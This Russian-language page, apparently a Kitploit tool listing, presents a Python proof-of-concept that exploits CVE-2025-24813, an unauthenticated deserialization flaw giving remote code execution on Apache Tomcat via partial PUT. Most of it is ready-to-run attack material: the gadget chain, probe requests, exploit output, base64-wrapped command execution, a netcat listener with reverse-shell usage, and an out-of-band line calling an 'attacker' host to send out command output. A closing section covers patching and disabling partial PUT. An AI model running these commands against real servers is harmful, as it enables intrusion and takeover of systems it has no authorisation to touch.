CVE-2025-24813 — Python PoC, эксплуатирующий CVE-2025-24813 — RCE через десериализацию при частичном PUT в Apache Tomcat. Автоматически определяет уязвимые варианты, поддерживает слепое выполнение команд и обратные оболочки. | Kitploit

CVE-2025-24813 — Apache Tomcat Partial PUT Deserialization RCE

Критичность: Critical (CVSS 9.8) Требуется аутентификация: Нет Затронуто: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Исправлено в: Tomcat 9.0.99 / 10.1.35 / 11.0.3

Как это работает

Apache Tomcat поддерживает partial PUT (чанковая загрузка через Content-Range). Когда поступает partial PUT, Tomcat сохраняет тело во временный файл в:

$CATALINA_HOME/work/…/<url-path-filename>

Если приложение настроено с PersistentManager + FileStore в context.xml, Tomcat автоматически читает файлы *.session из того же рабочего каталога и десериализует их для восстановления сессий.

PUT /<sid>.session        →  записывает Java-сериализованный payload в work/<sid>.session
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat загружает и десериализует файл  →  RCE

ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2

Статус	Значение
PUT 201	Файл сохранён в рабочем каталоге Tomcat
PUT 409	Путь заблокирован (traversal отклонён)
GET 200	Сессия не найдена / не десериализована
GET 500	Десериализация запущена → RCE

# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

Метод	Как
Файл в webroot	Перенаправить вывод в файл в `/…/webapps/ROOT/`, забрать через HTTP
Reverse shell	Флаг `--revshell` — получить интерактивную оболочку, выполнять любые команды вживую
DNS/OOB	`curl http://attacker/$(id

<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

Ветка	Уязвима	Исправлена
9.x	9.0.0.M1 – 9.0.98	9.0.99+
10.1.x	10.1.0-M1 – 10.1.34	10.1.35+
11.x	11.0.0-M1 – 11.0.2	11.0.3+

CVE-2025-24813

Популярное

Gadget Chain

Идентификация (Уязвима ли цель?)

Шаг 1 — Подтвердить Tomcat и версию

Шаг 2 — Проверить, включён ли partial PUT

Шаг 3 — Запустить PoC (автоопределение)

Разбор вывода эксплойта

Кодированный vs сырой payload — почему это важно

Использование

Требования

Слепая команда (вывод идёт только на сервер)

Чтение вывода через файл в webroot

Reverse shell

Все опции

Почему слепой RCE? Как получить вывод

Исправление / Митигация

Патч (рекомендуется)

Обходной путь — отключить partial PUT

Проверка после патча

Ссылки